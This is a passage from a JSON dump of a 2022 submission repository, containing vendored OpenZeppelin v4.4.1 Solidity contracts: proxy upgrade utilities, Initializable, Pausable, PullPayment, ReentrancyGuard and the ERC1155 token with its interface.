_upgradeToAndCall(newImplementation, data, true);\n    }\n\n    /**\n     * @dev Returns the current admin.\n     */\n    function _admin() internal view virtual returns (address) {\n        return _getAdmin();\n    }\n\n    /**\n     * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.\n     */\n    function _beforeFallback() internal virtual override {\n        require(msg.sender != _getAdmin(), \"TransparentUpgradeableProxy: admin cannot fallback to proxy target\");\n        super._beforeFallback();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/utils/Initializable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/Address.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the\n * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() initializer {}\n * ```\n * ====\n */\nabstract contract Initializable {\n    /**\n     * @dev Indicates that the contract has been initialized.\n     */\n    bool private _initialized;\n\n    /**\n     * @dev Indicates that the contract is in the process of being initialized.\n     */\n    bool private _initializing;\n\n    /**\n     * @dev Modifier to protect an initializer function from being invoked twice.\n     */\n    modifier initializer() {\n        // If the contract is initializing we ignore whether _initialized is set in order to support multiple\n        // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the\n        // contract may have been reentered.\n        require(_initializing ? _isConstructor() : !_initialized, \"Initializable: contract is already initialized\");\n\n        bool isTopLevelCall = !_initializing;\n        if (isTopLevelCall) {\n            _initializing = true;\n            _initialized = true;\n        }\n\n        _;\n\n        if (isTopLevelCall) {\n            _initializing = false;\n        }\n    }\n\n    /**\n     * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n     * {initializer} modifier, directly or indirectly.\n     */\n    modifier onlyInitializing() {\n        require(_initializing, \"Initializable: contract is not initializing\");\n        _;\n    }\n\n    function _isConstructor() private view returns (bool) {\n        return !Address.isContract(address(this));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1967/ERC1967Upgrade.sol\";\n\n/**\n * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an\n * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.\n *\n * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is\n * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing\n * `UUPSUpgradeable` with a custom implementation of upgrades.\n *\n * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.\n *\n * _Available since v4.1._\n */\nabstract contract UUPSUpgradeable is ERC1967Upgrade {\n    /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment\n    address private immutable __self = address(this);\n\n    /**\n     * @dev Check that the execution is being performed through a delegatecall call and that the execution context is\n     * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case\n     * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a\n     * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to\n     * fail.\n     */\n    modifier onlyProxy() {\n        require(address(this) != __self, \"Function must be called through delegatecall\");\n        require(_getImplementation() == __self, \"Function must be called through active proxy\");\n        _;\n    }\n\n    /**\n     * @dev Upgrade the implementation of the proxy to `newImplementation`.\n     *\n     * Calls {_authorizeUpgrade}.\n     *\n     * Emits an {Upgraded} event.\n     */\n    function upgradeTo(address newImplementation) external virtual onlyProxy {\n        _authorizeUpgrade(newImplementation);\n        _upgradeToAndCallSecure(newImplementation, new bytes(0), false);\n    }\n\n    /**\n     * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call\n     * encoded in `data`.\n     *\n     * Calls {_authorizeUpgrade}.\n     *\n     * Emits an {Upgraded} event.\n     */\n    function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {\n        _authorizeUpgrade(newImplementation);\n        _upgradeToAndCallSecure(newImplementation, data, true);\n    }\n\n    /**\n     * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by\n     * {upgradeTo} and {upgradeToAndCall}.\n     *\n     * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.\n     *\n     * ```solidity\n     * function _authorizeUpgrade(address) internal override onlyOwner {}\n     * ```\n     */\n    function _authorizeUpgrade(address newImplementation) internal virtual;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/security/Pausable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract Pausable is Context {\n    /**\n     * @dev Emitted when the pause is triggered by `account`.\n     */\n    event Paused(address account);\n\n    /**\n     * @dev Emitted when the pause is lifted by `account`.\n     */\n    event Unpaused(address account);\n\n    bool private _paused;\n\n    /**\n     * @dev Initializes the contract in unpaused state.\n     */\n    constructor() {\n        _paused = false;\n    }\n\n    /**\n     * @dev Returns true if the contract is paused, and false otherwise.\n     */\n    function paused() public view virtual returns (bool) {\n        return _paused;\n    }\n\n    /**\n     * @dev Modifier to make a function callable only when the contract is not paused.\n     *\n     * Requirements:\n     *\n     * - The contract must not be paused.\n     */\n    modifier whenNotPaused() {\n        require(!paused(), \"Pausable: paused\");\n        _;\n    }\n\n    /**\n     * @dev Modifier to make a function callable only when the contract is paused.\n     *\n     * Requirements:\n     *\n     * - The contract must be paused.\n     */\n    modifier whenPaused() {\n        require(paused(), \"Pausable: not paused\");\n        _;\n    }\n\n    /**\n     * @dev Triggers stopped state.\n     *\n     * Requirements:\n     *\n     * - The contract must not be paused.\n     */\n    function _pause() internal virtual whenNotPaused {\n        _paused = true;\n        emit Paused(_msgSender());\n    }\n\n    /**\n     * @dev Returns to normal state.\n     *\n     * Requirements:\n     *\n     * - The contract must be paused.\n     */\n    function _unpause() internal virtual whenPaused {\n        _paused = false;\n        emit Unpaused(_msgSender());\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/security/PullPayment.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/PullPayment.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/escrow/Escrow.sol\";\n\n/**\n * @dev Simple implementation of a\n * https://consensys.github.io/smart-contract-best-practices/recommendations/#favor-pull-over-push-for-external-calls[pull-payment]\n * strategy, where the paying contract doesn't interact directly with the\n * receiver account, which must withdraw its payments itself.\n *\n * Pull-payments are often considered the best practice when it comes to sending\n * Ether, security-wise. It prevents recipients from blocking execution, and\n * eliminates reentrancy concerns.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n *\n * To use, derive from the `PullPayment` contract, and use {_asyncTransfer}\n * instead of Solidity's `transfer` function. Payees can query their due\n * payments with {payments}, and retrieve them with {withdrawPayments}.\n */\nabstract contract PullPayment {\n    Escrow private immutable _escrow;\n\n    constructor() {\n        _escrow = new Escrow();\n    }\n\n    /**\n     * @dev Withdraw accumulated payments, forwarding all gas to the recipient.\n     *\n     * Note that _any_ account can call this function, not just the `payee`.\n     * This means that contracts unaware of the `PullPayment` protocol can still\n     * receive funds this way, by having a separate account call\n     * {withdrawPayments}.\n     *\n     * WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.\n     * Make sure you trust the recipient, or are either following the\n     * checks-effects-interactions pattern or using {ReentrancyGuard}.\n     *\n     * @param payee Whose payments will be withdrawn.\n     */\n    function withdrawPayments(address payable payee) public virtual {\n        _escrow.withdraw(payee);\n    }\n\n    /**\n     * @dev Returns the payments owed to an address.\n     * @param dest The creditor's address.\n     */\n    function payments(address dest) public view returns (uint256) {\n        return _escrow.depositsOf(dest);\n    }\n\n    /**\n     * @dev Called by the payer to store the sent amount as credit to be pulled.\n     * Funds sent in this way are stored in an intermediate {Escrow} contract, so\n     * there is no danger of them being spent before withdrawal.\n     *\n     * @param dest The destination address of the funds.\n     * @param amount The amount to transfer.\n     */\n    function _asyncTransfer(address dest, uint256 amount) internal virtual {\n        _escrow.deposit{value: amount}(dest);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/security/README.adoc",
    "content": "= Security\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/security\n\nThese contracts aim to cover common security practices.\n\n* {PullPayment}: A pattern that can be used to avoid reentrancy attacks.\n* {ReentrancyGuard}: A modifier that can prevent reentrancy during certain functions.\n* {Pausable}: A common emergency response mechanism that can pause functionality while a remediation is pending.\n\nTIP: For an overview on reentrancy and the possible mechanisms to prevent it, read our article https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n\n== Contracts\n\n{{PullPayment}}\n\n{{ReentrancyGuard}}\n\n{{Pausable}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/security/ReentrancyGuard.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n    // Booleans are more expensive than uint256 or any type that takes up a full\n    // word because each write operation emits an extra SLOAD to first read the\n    // slot's contents, replace the bits taken up by the boolean, and then write\n    // back. This is the compiler's defense against contract upgrades and\n    // pointer aliasing, and it cannot be disabled.\n\n    // The values being non-zero value makes deployment a bit more expensive,\n    // but in exchange the refund on every call to nonReentrant will be lower in\n    // amount. Since refunds are capped to a percentage of the total\n    // transaction's gas, it is best to keep them low in cases like this one, to\n    // increase the likelihood of the full refund coming into effect.\n    uint256 private constant _NOT_ENTERED = 1;\n    uint256 private constant _ENTERED = 2;\n\n    uint256 private _status;\n\n    constructor() {\n        _status = _NOT_ENTERED;\n    }\n\n    /**\n     * @dev Prevents a contract from calling itself, directly or indirectly.\n     * Calling a `nonReentrant` function from another `nonReentrant`\n     * function is not supported. It is possible to prevent this from happening\n     * by making the `nonReentrant` function external, and making it call a\n     * `private` function that does the actual work.\n     */\n    modifier nonReentrant() {\n        // On the first call to nonReentrant, _notEntered will be true\n        require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n        // Any calls to nonReentrant after this point will fail\n        _status = _ENTERED;\n\n        _;\n\n        // By storing the original value once again, a refund is triggered (see\n        // https://eips.ethereum.org/EIPS/eip-2200)\n        _status = _NOT_ENTERED;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1155.sol\";\nimport \"./IERC1155Receiver.sol\";\nimport \"./extensions/IERC1155MetadataURI.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of the basic standard multi-token.\n * See https://eips.ethereum.org/EIPS/eip-1155\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\n *\n * _Available since v3.1._\n */\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\n    using Address for address;\n\n    // Mapping from token ID to account balances\n    mapping(uint256 => mapping(address => uint256)) private _balances;\n\n    // Mapping from account to operator approvals\n    mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n    // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\n    string private _uri;\n\n    /**\n     * @dev See {_setURI}.\n     */\n    constructor(string memory uri_) {\n        _setURI(uri_);\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n        return\n            interfaceId == type(IERC1155).interfaceId ||\n            interfaceId == type(IERC1155MetadataURI).interfaceId ||\n            super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev See {IERC1155MetadataURI-uri}.\n     *\n     * This implementation returns the same URI for *all* token types. It relies\n     * on the token type ID substitution mechanism\n     * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n     *\n     * Clients calling this function must replace the `\\{id\\}` substring with the\n     * actual token type ID.\n     */\n    function uri(uint256) public view virtual override returns (string memory) {\n        return _uri;\n    }\n\n    /**\n     * @dev See {IERC1155-balanceOf}.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     */\n    function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\n        require(account != address(0), \"ERC1155: balance query for the zero address\");\n        return _balances[id][account];\n    }\n\n    /**\n     * @dev See {IERC1155-balanceOfBatch}.\n     *\n     * Requirements:\n     *\n     * - `accounts` and `ids` must have the same length.\n     */\n    function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\n        public\n        view\n        virtual\n        override\n        returns (uint256[] memory)\n    {\n        require(accounts.length == ids.length, \"ERC1155: accounts and ids length mismatch\");\n\n        uint256[] memory batchBalances = new uint256[](accounts.length);\n\n        for (uint256 i = 0; i < accounts.length; ++i) {\n            batchBalances[i] = balanceOf(accounts[i], ids[i]);\n        }\n\n        return batchBalances;\n    }\n\n    /**\n     * @dev See {IERC1155-setApprovalForAll}.\n     */\n    function setApprovalForAll(address operator, bool approved) public virtual override {\n        _setApprovalForAll(_msgSender(), operator, approved);\n    }\n\n    /**\n     * @dev See {IERC1155-isApprovedForAll}.\n     */\n    function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\n        return _operatorApprovals[account][operator];\n    }\n\n    /**\n     * @dev See {IERC1155-safeTransferFrom}.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual override {\n        require(\n            from == _msgSender() || isApprovedForAll(from, _msgSender()),\n            \"ERC1155: caller is not owner nor approved\"\n        );\n        _safeTransferFrom(from, to, id, amount, data);\n    }\n\n    /**\n     * @dev See {IERC1155-safeBatchTransferFrom}.\n     */\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual override {\n        require(\n            from == _msgSender() || isApprovedForAll(from, _msgSender()),\n            \"ERC1155: transfer caller is not owner nor approved\"\n        );\n        _safeBatchTransferFrom(from, to, ids, amounts, data);\n    }\n\n    /**\n     * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n     *\n     * Emits a {TransferSingle} event.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - `from` must have a balance of tokens of type `id` of at least `amount`.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n     * acceptance magic value.\n     */\n    function _safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) internal virtual {\n        require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\n\n        uint256 fromBalance = _balances[id][from];\n        require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n        unchecked {\n            _balances[id][from] = fromBalance - amount;\n        }\n        _balances[id][to] += amount;\n\n        emit TransferSingle(operator, from, to, id, amount);\n\n        _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\n    }\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\n     *\n     * Emits a {TransferBatch} event.\n     *\n     * Requirements:\n     *\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n     * acceptance magic value.\n     */\n    function _safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual {\n        require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n        require(to != address(0), \"ERC1155: transfer to the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n        for (uint256 i = 0; i < ids.length; ++i) {\n            uint256 id = ids[i];\n            uint256 amount = amounts[i];\n\n            uint256 fromBalance = _balances[id][from];\n            require(fromBalance >= amount, \"ERC1155: insufficient balance for transfer\");\n            unchecked {\n                _balances[id][from] = fromBalance - amount;\n            }\n            _balances[id][to] += amount;\n        }\n\n        emit TransferBatch(operator, from, to, ids, amounts);\n\n        _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\n    }\n\n    /**\n     * @dev Sets a new URI for all token types, by relying on the token type ID\n     * substitution mechanism\n     * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\n     *\n     * By this mechanism, any occurrence of the `\\{id\\}` substring in either the\n     * URI or any of the amounts in the JSON file at said URI will be replaced by\n     * clients with the token type ID.\n     *\n     * For example, the `https://token-cdn-domain/\\{id\\}.json` URI would be\n     * interpreted by clients as\n     * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\n     * for token type ID 0x4cce0.\n     *\n     * See {uri}.\n     *\n     * Because these URIs cannot be meaningfully represented by the {URI} event,\n     * this function emits no events.\n     */\n    function _setURI(string memory newuri) internal virtual {\n        _uri = newuri;\n    }\n\n    /**\n     * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.\n     *\n     * Emits a {TransferSingle} event.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n     * acceptance magic value.\n     */\n    function _mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) internal virtual {\n        require(to != address(0), \"ERC1155: mint to the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);\n\n        _balances[id][to] += amount;\n        emit TransferSingle(operator, address(0), to, id, amount);\n\n        _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);\n    }\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\n     *\n     * Requirements:\n     *\n     * - `ids` and `amounts` must have the same length.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n     * acceptance magic value.\n     */\n    function _mintBatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual {\n        require(to != address(0), \"ERC1155: mint to the zero address\");\n        require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\n\n        for (uint256 i = 0; i < ids.length; i++) {\n            _balances[ids[i]][to] += amounts[i];\n        }\n\n        emit TransferBatch(operator, address(0), to, ids, amounts);\n\n        _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\n    }\n\n    /**\n     * @dev Destroys `amount` tokens of token type `id` from `from`\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `from` must have at least `amount` tokens of token type `id`.\n     */\n    function _burn(\n        address from,\n        uint256 id,\n        uint256 amount\n    ) internal virtual {\n        require(from != address(0), \"ERC1155: burn from the zero address\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), \"\");\n\n        uint256 fromBalance = _balances[id][from];\n        require(fromBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n        unchecked {\n            _balances[id][from] = fromBalance - amount;\n        }\n\n        emit TransferSingle(operator, from, address(0), id, amount);\n    }\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\n     *\n     * Requirements:\n     *\n     * - `ids` and `amounts` must have the same length.\n     */\n    function _burnBatch(\n        address from,\n        uint256[] memory ids,\n        uint256[] memory amounts\n    ) internal virtual {\n        require(from != address(0), \"ERC1155: burn from the zero address\");\n        require(ids.length == amounts.length, \"ERC1155: ids and amounts length mismatch\");\n\n        address operator = _msgSender();\n\n        _beforeTokenTransfer(operator, from, address(0), ids, amounts, \"\");\n\n        for (uint256 i = 0; i < ids.length; i++) {\n            uint256 id = ids[i];\n            uint256 amount = amounts[i];\n\n            uint256 fromBalance = _balances[id][from];\n            require(fromBalance >= amount, \"ERC1155: burn amount exceeds balance\");\n            unchecked {\n                _balances[id][from] = fromBalance - amount;\n            }\n        }\n\n        emit TransferBatch(operator, from, address(0), ids, amounts);\n    }\n\n    /**\n     * @dev Approve `operator` to operate on all of `owner` tokens\n     *\n     * Emits a {ApprovalForAll} event.\n     */\n    function _setApprovalForAll(\n        address owner,\n        address operator,\n        bool approved\n    ) internal virtual {\n        require(owner != operator, \"ERC1155: setting approval status for self\");\n        _operatorApprovals[owner][operator] = approved;\n        emit ApprovalForAll(owner, operator, approved);\n    }\n\n    /**\n     * @dev Hook that is called before any token transfer. This includes minting\n     * and burning, as well as batched variants.\n     *\n     * The same hook is called on both single and batched variants. For single\n     * transfers, the length of the `id` and `amount` arrays will be 1.\n     *\n     * Calling conditions (for each `id` and `amount` pair):\n     *\n     * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * of token type `id` will be  transferred to `to`.\n     * - When `from` is zero, `amount` tokens of token type `id` will be minted\n     * for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\n     * will be burned.\n     * - `from` and `to` are never both zero.\n     * - `ids` and `amounts` have the same, non-zero length.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual {}\n\n    function _doSafeTransferAcceptanceCheck(\n        address operator,\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) private {\n        if (to.isContract()) {\n            try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\n                if (response != IERC1155Receiver.onERC1155Received.selector) {\n                    revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n                }\n            } catch Error(string memory reason) {\n                revert(reason);\n            } catch {\n                revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n            }\n        }\n    }\n\n    function _doSafeBatchTransferAcceptanceCheck(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) private {\n        if (to.isContract()) {\n            try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (\n                bytes4 response\n            ) {\n                if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {\n                    revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n                }\n            } catch Error(string memory reason) {\n                revert(reason);\n            } catch {\n                revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n            }\n        }\n    }\n\n    function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\n        uint256[] memory array = new uint256[](1);\n        array[0] = element;\n\n        return array;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n    /**\n     * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n     */\n    event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n    /**\n     * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n     * transfers.\n     */\n    event TransferBatch(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256[] ids,\n        uint256[] values\n    );\n\n    /**\n     * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n     * `approved`.\n     */\n    event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n    /**\n     * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n     *\n     * If an {URI} event was emitted for `id`, the standard\n     * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n     * returned by {IERC1155MetadataURI-uri}.\n     */\n    event URI(string value, uint256 indexed id);\n\n    /**\n     * @dev Returns the amount of tokens of token type `id` owned by `account`.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     */\n    function balanceOf(address account, uint256 id) external view returns (uint256);\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n     *\n     * Requirements:\n     *\n     * - `accounts` and `ids` must have the same length.\n     */\n    function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n        external\n        view\n        returns (uint256[] memory);\n\n    /**\n     * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n     *\n     * Emits an {ApprovalForAll} event.\n     *\n     * Requirements:\n     *\n     * - `operator` cannot be the caller.\n     */\n    function setApprovalForAll(address operator, bool approved) external;\n\n    /**\n     * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n     *\n     * See {setApprovalForAll}.\n     */\n    function isApprovedForAll(address account, address operator) external view returns (bool);\n\n    /**\n     * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n     *\n     * Emits a {TransferSingle} event.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n     * - `from` must have a balance of tokens of type `id` of at least `amount`.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n     * acceptance magic value.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes calldata data\n    ) external;\n\n    /**\n     * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n     *\n     * Emits a {TransferBatch} event.\n     *\n     * Requirements:\n     *\n     * - `ids` and `amounts` must have the same length.\n     * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n     * acceptance magic value.\n     */\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] calldata ids,\n        uint256[] calldata amounts,\n        bytes calldata data\n    ) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155Receiver.sol",
